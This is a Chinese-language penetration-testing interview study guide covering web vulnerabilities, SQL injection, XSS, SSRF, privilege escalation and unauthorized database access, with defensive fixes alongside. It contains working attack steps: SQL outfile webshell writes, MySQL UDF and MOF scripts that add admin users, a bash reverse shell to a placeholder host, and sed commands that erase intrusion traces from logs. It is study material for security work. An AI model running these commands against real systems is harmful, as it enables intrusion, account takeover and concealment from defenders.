网站渗透
思路流程
信息收集
- 服务器的相关信息(真实ip,系统类型,版本,开放端口,WAF等)
- 网站指纹识别(包括,cms,cdn,证书等),dns记录
- whois信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等)
- 子域名收集,旁站,C段等
- google hacking针对化搜索,pdf文件,中间件版本,弱口令扫描等
- 扫描网站目录结构,爆后台,网站banner,测试文件,备份等敏感文件泄漏等
- 传输协议,通用漏洞,exp,github源码等
漏洞挖掘
- 浏览网站,看看网站规模,功能,特点等
- 端口,弱口令,目录等扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。
- XSS,SQL注入,上传,命令注入,CSRF,cookie安全检测,敏感信息,通信数据传输,暴力破解,任意文件上传,越权访问,未授权访问,目录遍历,文件 包含,重放攻击(短信轰炸),服务器漏洞检测,最后使用漏扫工具等
漏洞利用 | 权限提升
- mysql提权,serv-u提权,oracle提权
- windows 溢出提权
- linux脏牛,内核漏洞提权e
清除测试数据 | 输出报告
i 日志、测试数据的清理
ii 总结,输出渗透测试报告,附修复方案
复测
验证并发现是否有新漏洞,输出报告,归档
问题
在渗透过程中,收集目标站注册人邮箱对我们有什么价值?
丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台。
用邮箱做关键词进行丢进搜索引擎。
利用搜索到的关联信息找出其他邮箱进而得到常用社交账号。
社工找出社交账号,里面或许会找出管理员设置密码的习惯 。
利用已有信息生成专用字典。
判断出网站的CMS对渗透有什么意义?
查找网上已曝光的程序漏洞。
如果开源,还能下载相对应的源码进行代码审计。
渗透时扫目录的意义
敏感文件、二级目录扫描
站长的误操作比如:网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点
目前已知哪些版本的容器有解析漏洞,具体举例。
IIS 6.0
/xx.asp/xx.jpg "xx.asp"是文件夹名
IIS 7.0/7.5
默认Fast-CGI开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析
Nginx
版本小于等于0.8.37,利用方法和IIS 7.0/7.5一样,Fast-CGI关闭情况下也可利用。
空字节代码 xxx.jpg.php
Apache1.x、2.x
上传的文件命名为:test.php.x1.x2.x3,Apache是从右往左判断后缀
lighttpd
xx.jpg/xx.php
如何手工快速判断目标站是windows还是linux服务器?
linux大小写敏感,windows大小写不敏感。
为何一个mysql数据库的站,只有一个80端口开放?
改了端口,站库分离,3306不对外网开放,防火墙拦截
看到编辑器,应该先做什么?
查看编辑器的名称版本,然后搜索公开的漏洞。
拿到一个webshell发现网站根目录下有.htaccess文件,我们能做什么?
能做的事情很多,用隐藏网马来举例子:
插入
<FilesMatch "xxx.jpg"> SetHandler application/x-httpd-php </FilesMatch>
.jpg文件会被解析成.php文件。
提权时选择可读写目录,为何尽量不用带空格的目录?
exp执行一般需要空格界定参数
后台修改管理员密码处,原密码显示为*。你觉得该怎样实现读出这个用户的密码?
审查元素 把密码处的password属性改成text就明文显示了
为什么aspx木马权限比asp大
aspx使用的是.net技术。IIS 中默认不支持,ASP只是脚本语言而已。入侵的时候asp的木马一般是guest权限…APSX的木马一般是users权限
如何绕过waf
- 大小写转换法
- 干扰字符
/*!*/
- 编码 base64 unicode hex url ascll
- 复参数
常见端口
3306 mysql
1433 mssql
1521 oracle
5432 postgresql
6379 redis
27017 mongodb
8080 tomcat/resin/jetty
137 samba
5900 vnc
如何向服务器写入webshell
- 各种上传漏洞
- mysql具有写入权限,用sql语句写入shell
- http put方法
Sql注入
SQL注入原理
a. SQL(结构化语句查询)
b. 提交参数(调用数据库查询)的地方是用户可控的,并未做任何过滤处理
c. 数字型,字符型,搜索型,POST注入,Cookie注入,延时注入,盲注等
SQL注入防护
1、使用安全的API
2、对输入的特殊字符进行Escape转义处理
3、使用白名单来规范化输入验证方法
4、对客户端输入进行控制,不允许输入SQL注入相关的特殊字符
5、服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。
6. 规范编码,字符集
为什么参数化查询可以防止sql注入
原理:
使用参数化查询数据库服务器不会把参数的内容当作sql指令的一部分来执行,是在数据库完成sql指令的编译后才套用参数运行
简单的说:
参数化能防注入的原因在于,语句是语句,参数是参数,参数的值并不是语句的一部分,数据库只按语句的语义跑
SQL头注入点
UA
REFERER
COOKIE
IP
盲注是什么?怎么盲注?
盲注是在SQL注入攻击过程中,服务器关闭了错误回显,我们单纯通过服务器返回内容的变化来判断是否存在SQL注入和利用的方式。盲注的手段有两种,一个是通过页面的返回内容是否正确(boolean-based),来验证是否存在注入。一个是通过sql语句处理时间的不同来判断是否存在注入(time-based),在这里,可以用benchmark,sleep等造成延时效果的函数,也可以通过构造大笛卡儿积的联合查询表来达到延时的目的。
宽字节注入产生原理以及根本原因
产生原理
在数据库使用了宽字符集而WEB中没考虑这个问题的情况下,在WEB层,由于0XBF27是两个字符,在PHP中比如addslash和magic_quotes_gpc开启时,由于会对0x27单引号进行转义,因此0xbf27会变成0xbf5c27,而数据进入数据库中时,由于0XBF5C是一个另外的字符,因此\转义符号会被前面的bf带着"吃掉",单引号由此逃逸出来可以用来闭合语句。
在哪里编码
根本原因
character_set_client(客户端的字符集)和character_set_connection(连接层的字符集)不同,或转换函数如,iconv、mb_convert_encoding使用不当。
解决办法
统一数据库、Web应用、操作系统所使用的字符集,避免解析产生差异,最好都设置为UTF-8。
或对数据进行正确的转义,如mysql_real_escape_string+mysql_set_charset的使用。
sql里面只有update怎么利用
先理解这句 SQL
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
如果此 SQL 被修改成以下形式,就实现了注入
1:修改 homepage 值为http://4ngel.net', userlevel='3
之后 SQL 语句变为
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'
userlevel 为用户级别
2:修改 password 值为mypass)' WHERE username='admin'#
之后 SQL 语句变为
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
3:修改 id 值为' OR username='admin'
之后 SQL 语句变为
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
sql如何写shell/单引号被过滤怎么办
写shell: root权限,GPC关闭,知道文件路径
outfile函数
`http://127.0.0.1:81/sqli.php?id=1 into outfile 'C:\\wamp64\\www\\phpinfo.php' FIELDS TERMINATED BY '<?php phpinfo(); ?>'`
`http://127.0.0.1:81/sqli.php?id=-1 union select 1,0x3c3f70687020706870696e666f28293b203f3e,3,4 into outfile 'C:\\wamp64\\www\\phpinfo.php'`
宽字节注入
代替空格的方法
%0a、%0b、%a0 等
/**/ 等注释符
<>
mysql的网站注入,5.0以上和5.0以下有什么区别?
5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。
5.0以下是多用户单操作,5.0以上是多用户多操做。
mysql和sqlserver注入时候的区别
发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪种是优选?
有写入权限的,构造联合查询语句使用using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 WebShell
使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高
通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell
某个防注入系统,如何渗透
系统检测到你有非法注入的行为。
已记录您的ip xx.xx.xx.xx
时间:2016:01-23
提交页面:test.asp?id=15
提交内容:and 1=1
如何利用这个防注入系统拿shell?
如何利用这个防注入系统拿shell?
在URL里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了 这个时候可以尝试寻找网站的配置文件 直接上菜刀链接
如何突破注入时字符被转义?
宽字符注入
hex编码绕过
mysql注入点,用工具对目标站直接写入一句话,需要哪些条件?
root权限以及网站的绝对路径。
如果sleep和benchmark关键字被过滤掉了该怎么办?
1.让两个非常大的数据表做笛卡尔积产生大量的计算从而产生时间延迟
2.如果服务器端采用长连接的话可以利用Mysql的锁机制即Get_lock()
3.利用复杂的正则表达式去匹配一个超长字符串来产生时间延迟
未知列名情况下的注入利用
果在利用SQL注入的时候遇到了WAF(安全狗3.5版本会直接拦截关键字information_shema),从而无法获取数据表的列名,这时该怎么利用漏洞呢?
利用虚表获取数据
XSS
XSS原理
反射型
用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。
需要诱使用户“点击”一个恶意链接,才能攻击成功
储存型
存储型XSS会把用户输入的数据“存储”在服务器端。
这种XSS具有很强的稳定性。
DOM型
通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。
DOM型和反射型的区别
反射型XSS:通过诱导用户点击,我们构造好的恶意payload才会触发的XSS。
反射型XSS的检测我们在每次请求带payload的链接时页面应该是会带有特定的畸形数据的。
DOM型:通过修改页面的DOM节点形成的XSS。
DOM-based XSS由于是通过js代码进行dom操作产生的XSS,所以在请求的响应中我们甚至不一定会得到相应的畸形数据。
根本区别在我看来是输出点的不同。
DOM型XSS 自动化测试或人工测试
人工测试思路:找到类似document.write、innerHTML赋值、outterHTML赋值、window.location操作、写javascript:后内容、eval、setTimeout 、setInterval 等直接执行之类的函数点。找到其变量,回溯变量来源观察是否可控,是否经过安全函数。
自动化测试参看道哥的博客,思路是从输入入手,观察变量传递的过程,最终检查是否有在危险函数输出,中途是否有经过安全函数。但是这样就需要有一个javascript解析器,否则会漏掉一些通过js执行带入的部分内容。
在回答这段问题的时候,由于平时对客户的检测中,基本是凭借不同功能点的功能加上经验和直觉来进行检测,对不同类型的XSS检测方式实际上并没有太过细分的标准化检测方式,所以回答的很烂。。。
如何快速发现xss位置
对于XSS怎么修补建议
输入点检查:对用户输入的数据进行合法性检查,使用filter过滤敏感字符或对进行编码转义,针对特定类型数据进行格式检查。针对输入点的检查最好放在服务器端实现。
输出点检查:对变量输出到HTML页面中时,对输出内容进行编码转义,输出在HTML中时,对其进行HTMLEncode,如果输出在Javascript脚本中时,对其进行JavascriptEncode。
对使用JavascriptEncode的变量都放在引号中并转义危险字符,data部分就无法逃逸出引号外成为code的一部分。还可以使用更加严格的方法,对所有数字字母之外的字符都使用十六进制编码。此外,要注意在浏览器中,HTML的解析会优先于Javascript的解析,编码的方式也需要考虑清楚,针对不同的输出点,我们防御XSS的方法可能会不同,这点可能在之后的文章会做下总结。
除此之外,还有做HTTPOnly对Cookie劫持做限制。
XSS蠕虫的产生条件
正常情况下,一个是产生XSS点的页面不属于self页面,用户之间产生交互行为的页面,都可能造成XSS Worm的产生。不一定需要存储型XSS
CSRF
CSRF原理
CSRF是跨站请求伪造攻击,由客户端发起,是由于没有在关键操作执行时进行是否由用户自愿发起的确认
防御
- 验证Referer
- 添加token
token和referer做横向对比,谁安全等级高?
token安全等级更高,因为并不是任何服务器都可以取得referer,如果从HTTPS跳到HTTP,也不会发送referer。并且FLASH一些版本中可以自定义referer。
但是token的话,要保证其足够随机且不可泄露。(不可预测性原则)
对referer的验证,从什么角度去做?如果做,怎么杜绝问题
对header中的referer的验证,一个是空referer,一个是referer过滤或者检测不完善。
为了杜绝这种问题,在验证的白名单中,正则规则应当写完善。
针对token,对token测试会注意哪方面内容,会对token的哪方面进行测试?
引用一段请教前辈的回答:
针对token的攻击,一是对它本身的攻击,重放测试一次性、分析加密规则、校验方式是否正确等,二是结合信息泄露漏洞对它的获取,结合着发起组合攻击
信息泄露有可能是缓存、日志、get,也有可能是利用跨站
很多跳转登录的都依赖token,有一个跳转漏洞加反射型跨站就可以组合成登录劫持了
另外也可以结合着其它业务来描述token的安全性及设计不好怎么被绕过比如抢红包业务之类的
SSRF
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
检测
SSRF漏洞的验证方法:
1)因为SSRF漏洞是让服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器的发送的,从而来判断是否存在SSRF漏洞
2)在页面源码中查找访问的资源地址 ,如果该资源地址类型为 www.baidu.com/xxx.php?image=(地址)的就可能存在SSRF漏洞
SSRF漏洞的成因 防御 绕过
成因:模拟服务器对其他服务器资源进行请求,没有做合法性验证。
利用:构造恶意内网IP做探测,或者使用其余所支持的协议对其余服务进行攻击。
防御:禁止跳转,限制协议,内外网限制,URL限制。
绕过:使用不同协议,针对IP,IP格式的绕过,针对URL,恶意URL增添其他字符,@之类的。301跳转+dns rebindding。
上传
文件上传漏洞原理
由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件
常见的上传绕过方式
- 前端js验证:禁用js/burp改包
- 大小写
- 双重后缀名
- 过滤绕过 pphphp->php
防护
- 文件上传目录设置为不可执行
- 使用白名单判断文件上传类型
- 用随机数改写文件名和路径
审查上传点的元素有什么意义?
有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。
文件包含
原理
引入一段用户能控制的脚本或代码,并让服务器端执行
(1)include()等函数通过动态变量的方式引入需要包含的文件;
(2)用户能够控制该动态变量。
导致文件包含的函数
PHP:include(), include_once(), require(), re-quire_once(), fopen(), readfile(), …
JSP/Servlet:ava.io.File(), java.io.Fil-eReader(), …
ASP:include file, include virtual,
本地文件包含
能够打开并包含本地文件的漏洞,被称为本地文件包含漏洞
XXE
逻辑漏洞
金融行业常见逻辑漏洞
单针对金融业务的
主要是数据的篡改(涉及金融数据,或部分业务的判断数据),由竞争条件或者设计不当引起的薅羊毛,交易/订单信息泄露,水平越权对别人的账户查看或恶意操作,交易或业务步骤绕过。
溢出
中间人攻击
中间人攻击是一个(缺乏)相互认证的攻击;由于客户端与服务器之间在SSL握手的过程中缺乏相互认证而造成的漏洞
防御中间人攻击的方案通常基于一下几种技术
1.公钥基础建设PKI
使用PKI相互认证机制,客户端验证服务器,服务器验证客户端;上述两个例子中都是只验证服务器,这样就造成了SSL握手环节的漏洞,而如果使用相互认证的的话,基本可以更强力的相互认证
2.延迟测试
使用复杂加密哈希函数进行计算以造成数十秒的延迟;如果双方通常情况下都要花费20秒来计算,并且整个通讯花费了60秒计算才到达对方,这就能表明存在第三方中间人。
3.使用其他形式的密钥交换形式
ARP欺骗
原理:
每台主机都有一个ARP缓存表,缓存表中记录了IP地址与MAC地址的对应关系,而局域网数据传输依靠的是MAC地址。
在ARP缓存表机制存在一个缺陷,就是当请求主机收到ARP应答包后,不会去验证自己是否向对方主机发送过ARP请求包,就直接把这个返回包中的IP地址与MAC地址的对应关系保存进ARP缓存表中,如果原有相同IP对应关系,原有的则会被替换。这样攻击者就有了偷听主机传输的数据的可能
防护
1.在主机绑定网关MAC与IP地址为静态(默认为动态),命令:arp -s 网关IP 网关MAC
2.在网关绑定主机MAC与IP地址
3.使用ARP防火墙
DDOS
Ddos原理
利用合理的请求造成资源过载,导致服务不可用
syn洪流的原理
伪造大量的源IP地址,分别向服务器端发送大量的SYN包,此时服务器端会返回SYN/ACK包,因为源地址是伪造的,所以伪造的IP并不会应答,服务器端没有收到伪造IP的回应,会重试3~5次并且等待一个SYNTime(一般为30秒至2分钟),如果超时则丢弃这个连接。攻击者大量发送这种伪造源地址的SYN请求,服务器端将会消耗非常多的资源(CPU和内存)来处理这种半连接,同时还要不断地对这些IP进行SYN+ACK重试。最后的结果是服务器无暇理睬正常的连接请求,导致拒绝服务。
CC攻击原理
对一些消耗资源较大的应用页面不断发起正常的请求,以达到消耗服务端资源的目的。
DDOS防护
SYN Cookie/SYN Proxy、safereset等算法。SYN Cookie的主要思想是为每一个IP地址分配一个“Cookie”,并统计每个IP地址的访问频率。如果在短时间内收到大量的来自同一个IP地址的数据包,则认为受到攻击,之后来自这个IP地址的包将被丢弃。
提权
mysql两种提权方式
udf提权,mof提权
Mysql_UDF提权
要求:
1.目标系统是Windows(Win2000,XP,Win2003);
2.拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数
3.有root账号密码
导出udf:
MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能创建自定义函数
可以再mysql里输入
select @@basedir
show variables like ‘%plugins%’
寻找mysql安装路径
提权:
使用SQL语句创建功能函数。语法:Create Function 函数名(函数名只能为下面列表中的其中之一)returns string soname ‘导出的DLL路径’;
create function cmdshell returns string soname ‘udf.dll’
select cmdshell(‘net user arsch arsch /add’);
select cmdshell(‘net localgroup administrators arsch /add’);
drop function cmdshell;
该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录即可。
Mysql mof提权
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
其中的第18行的命令,上传前请自己更改。
2、执行load_file及into dumpfile把文件导出到正确的位置即可。
select load file('c:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mov'
执行成功后,即可添加一个普通用户,然后你可以更改命令,再上传导出执行把用户提升到管理员权限,然后3389连接之就ok了。
特殊漏洞
Struts2-045
Redis未授权访问
产生原因
Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器
利用条件和方法
条件:
- redis服务以root账户运行
- redis无密码或弱密码进行认证
- redis监听在0.0.0.0公网上
方法:
- 通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫
- 上传SSH公钥获得SSH登录权限
- 通过crontab反弹shell
- slave主从模式利用
修复
- 密码验证
- 降权运行
- 限制ip/修改端口
Jenkins未授权访问
攻击者通过未授权访问进入脚本命令执行界面执行攻击指令
println "ifconfig -a".execute().text
执行一些系统命令,利用wget下载webshell
MongoDB未授权访问
开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,而且可以远程访问数据库,登录的用户可以通过默认端口无需密码对数据库进行增、删、改、查等任意高危操作。
防护
1、为MongoDB添加认证:
1)MongoDB启动时添加–auth参数
2)给MongoDB添加用户:
use admin #使用admin库
db.addUser(“root”, “123456”) #添加用户名root密码123456的用户
db.auth(“root”,“123456”) #验证下是否添加成功,返回1说明成功
2、禁用HTTP和REST端口
MongoDB自身带有一个HTTP服务和并支持REST接口。在2.6以后这些接口默认是关闭的。mongoDB默认会使用默认端口监听web服务,一般不需要通过web方式进行远程管理,建议禁用。修改配置文件或在启动的时候选择–nohttpinterface 参数nohttpinterface=false
3、限制绑定IP
启动时加入参数
–bind_ip 127.0.0.1
或在/etc/mongodb.conf文件中添加以下内容:
bind_ip = 127.0.0.1
Memcache未授权访问
Memcached是一套常用的key-value缓存系统,由于它本身没有权限控制模块,所以对公网开放的Memcache服务很容易被攻击者扫描发现,攻击者通过命令交互可直接读取Memcached中的敏感信息。
利用
1、登录机器执行netstat -an |more命令查看端口监听情况。回显0.0.0.0:11211表示在所有网卡进行监听,存在memcached未授权访问漏洞。
2、telnet 11211,或nc -vv 11211,提示连接成功表示漏洞存在
漏洞加固
- 1、设置memchached只允许本地访问
- 2、禁止外网访问Memcached 11211端口
- 3、编译时加上–enable-sasl,启用SASL认证
FFMPEG 本地文件读取漏洞
原理
通过调用加密API将payload加密放入一个会被执行的段字节中。但是具体回答工程中我只回答道了SSRF老洞,m3u8头,偏移量,加密。
安全知识
WEB
常用WEB开发JAVA框架
STRUTS,SPRING
常见的java框架漏洞
其实面试官问这个问题的时候我不太清楚他要问什么,我提到struts的045 048,java常见反序列化。
045 错误处理引入了ognl表达式
048 封装action的过程中有一步调用getstackvalue递归获取ognl表达式
反序列化 操作对象,通过手段引入。apache common的反射机制、readobject的重写,其实具体的我也记不清楚。。。然后这部分就结束了
同源策略
同源策略限制不同源对当前document的属性内容进行读取或设置。
不同源的区分:协议、域名、子域名、IP、端口,以上有不同时即不同源。
Jsonp安全攻防技术,怎么写Jsonp的攻击页面?
涉及到Jsonp的安全攻防内容
JSON劫持、Callback可定义、JSONP内容可定义、Content-type不为json。
攻击页面
JSON劫持,跨域劫持敏感信息,页面类似于
function wooyun(v){
alert(v.username);
}
</script>
<script src="http://js.login.360.cn/?o=sso&m=info&func=wooyun"></script>
Content-type不正确情况下,JSONP和Callback内容可定义可造成XSS。
JSONP和FLASH及其他的利用参照知道创宇的JSONP安全攻防技术。
PHP
php中命令执行涉及到的函数
1,代码执行:eval()、assert()、popen()、system()、exec()、shell_exec()、passthru(),pcntl_exec(),call_user_func_array(),create_function()
2,文件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
3,命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
安全模式下绕过php的disable fuction
DL函数,组件漏洞,环境变量。
PHP弱类型
==
在进行比较的时候,会先将字符串类型转化成相同,再比较
如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行
0e
开头的字符串等于0
数据库
各种数据库文件存放的位置
mysql:/usr/local/mysql/data/
C:\ProgramData\MySQL\MySQL Server 5.6\Data\
oracle:$ORACLE_BASE/oradata/$ORACLE_SID/
系统
如何清理日志
meterpreter: clearev
入侵 Linux 服务器后需要清除哪些日志?
web日志,如apache的access.log,error.log。 直接将日志清除过于明显,一般使用sed进行定向清除
e.g. sed -i -e ‘/192.169.1.1/d’
history命令的清除,也是对~/.bash_history进行定向清除
wtmp日志的清除,/var/log/wtmp
登录日志清除 /var/log/secure
LINUX
查看当前端口连接的命令有哪些?netstat
和 ss
命令的区别和优缺点
netstat -antp
ss -l
ss的优势在于它能够显示更多更详细的有关TCP和连接状态的信息,而且比netstat更快速更高效。
反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么?
bash -i>&/dev/tcp/x.x.x.x/4444 0>&1
通过Linux系统的/proc目录 ,能够获取到哪些信息,这些信息可以在安全上有哪些应用?
ls /proc
系统信息,硬件信息,内核版本,加载的模块,进程
linux系统中,检测哪些配置文件的配置项,能够提升SSH的安全性。
/etc/ssh/sshd___config
iptables配置
如何一条命令查看文件内容最后一百行
tail -n 100 filename
Windows
如何加固一个域环境下的Windows桌面工作环境?请给出你的思路。
密码学
AES/DES的具体工作步骤
RSA算法
加密:
$$
密文=明文^EmodN
$$
RSA加密是对明文的E次方后除以N后求余数的过程
$$
公钥=(E,N)
$$
解密:
$$
明文=密文^DmodN
$$
$$
私钥=(D,N)
$$
三个参数n,e1,e2
n是两个大质数p,q的积
分组密码的加密模式
如何生成一个安全的随机数?
引用之前一个学长的答案,可以通过一些物理系统生成随机数,如电压的波动、磁盘磁头读/写时的寻道时间、空中电磁波的噪声等。
SSL握手过程
建立TCP连接、客户端发送SSL请求、服务端处理SSL请求、客户端发送公共密钥加密过的随机数据、服务端用私有密钥解密加密后的随机数据并协商暗号、服务端跟客户端利用暗号生成加密算法跟密钥key、之后正常通信。
这部分本来是忘了的,但是之前看SSL Pinning的时候好像记了张图在脑子里,挣扎半天还是没敢确定,遂放弃。。。
对称加密与非对称加密的不同,分别用在哪些方面
TCP/IP
TCP三次握手的过程以及对应的状态转换
(1)客户端向服务器端发送一个SYN包,包含客户端使用的端口号和初始序列号x;
(2)服务器端收到客户端发送来的SYN包后,向客户端发送一个SYN和ACK都置位的TCP报文,包含确认号xx1和服务器端的初始序列号y;
(3)客户端收到服务器端返回的SYNSACK报文后,向服务器端返回一个确认号为yy1、序号为xx1的ACK报文,一个标准的TCP连接完成。
TCP和UDP协议区别
tcp面向连接,udp面向报文
tcp对系统资源的要求多
udp结构简单
tcp保证数据完整性和顺序,udp不保证
https的建立过程
- 客户端发送请求到服务器端
- 服务器端返回证书和公开密钥,公开密钥作为证书的一部分而存在
- 客户端验证证书和公开密钥的有效性,如果有效,则生成共享密钥并使用公开密钥加密发送到服务器端
- 服务器端使用私有密钥解密数据,并使用收到的共享密钥加密数据,发送到客户端
- 客户端使用共享密钥解密数据
- SSL加密建立
流量分析
wireshark简单的过滤规则
过滤ip:
过滤源ip地址:ip.src==1.1.1.1;
,目的ip地址:ip.dst==1.1.1.1;
过滤端口:
过滤80端口:tcp.port==80
,源端口:tcp.srcport==80
,目的端口:tcp.dstport==80
协议过滤:
直接输入协议名即可,如http协议http
http模式过滤:
过滤get/post包http.request.mothod=="GET/POST"